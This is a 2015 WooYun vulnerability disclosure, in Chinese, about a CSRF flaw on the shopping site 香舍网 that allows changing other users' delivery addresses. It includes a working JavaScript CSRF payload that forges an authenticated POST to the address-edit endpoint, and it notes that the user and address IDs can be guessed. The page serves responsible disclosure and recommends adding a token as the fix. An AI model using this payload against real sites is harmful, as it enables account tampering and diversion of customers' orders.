当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0123458

漏洞标题：香舍网 CSRF漏洞一枚，可随意修改他人收货地址

相关厂商：香舍网

漏洞作者： nina

提交时间：2015-06-29 15:05

修复时间：2015-08-13 15:08

公开时间：2015-08-13 15:08

漏洞类型：CSRF

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-29： 细节已通知厂商并且等待厂商处理中
2015-06-29： 厂商已经确认，细节仅向厂商公开
2015-07-09： 细节向核心白帽子及相关领域专家公开
2015-07-19： 细节向普通白帽子公开
2015-07-29： 细节向实习白帽子公开
2015-08-13： 细节向公众公开

简要描述：

香舍网，修改收货地址，存在CSRF漏洞，可随意修改别人的收货地址。。。。

详细说明：

登录账户A。，修改其收货地址，并抓包

csrf1.jpg


查看其收货地址,修改成功;

CSRF2.jpg


可以看到，修改收货请求为post请求，同时，一切参数均是可预测（AddressId、UserId均是以1自然升序，完全可遍历猜测！）。猜测存在csrf，便去试一把。。。
构造csrfxiangshe.html

xmlhttp.open("POST", "http://www.xiangshe.com/my/doEditaddress.do", true);
	xmlhttp.withCredentials = true;
	xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
	xmlhttp.send("MAddressInfo.AddressId=92589&MAddressInfo.UserId=150936&MAddressInfo.TrueName=woo163163&pro=1%2C110000&city=1%2C1%2C110100&zone=110101&MAddressInfo.DetailAddress=gfdsgtrshtjhtyujmy16311&MAddressInfo.Zip=&MAddressInfo.LinkPhone=&MAddressInfo.HandPhone=13611111111&MAddressInfo.Email=");


访问链接csrfxiangshe.html

csrf3.jpg


刷新收货地址

csrf5.jpg


可以看到收货地址被成功修改（此测试只改了收货人与联系电话）
只要被攻击者不小心点击此链接，他的收货地址便可被修改。

漏洞证明：

同上

修复方案：

增加token

版权声明：转载请注明来源 nina@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-06-29 15:06

厂商回复：

已经处理

最新状态：

暂无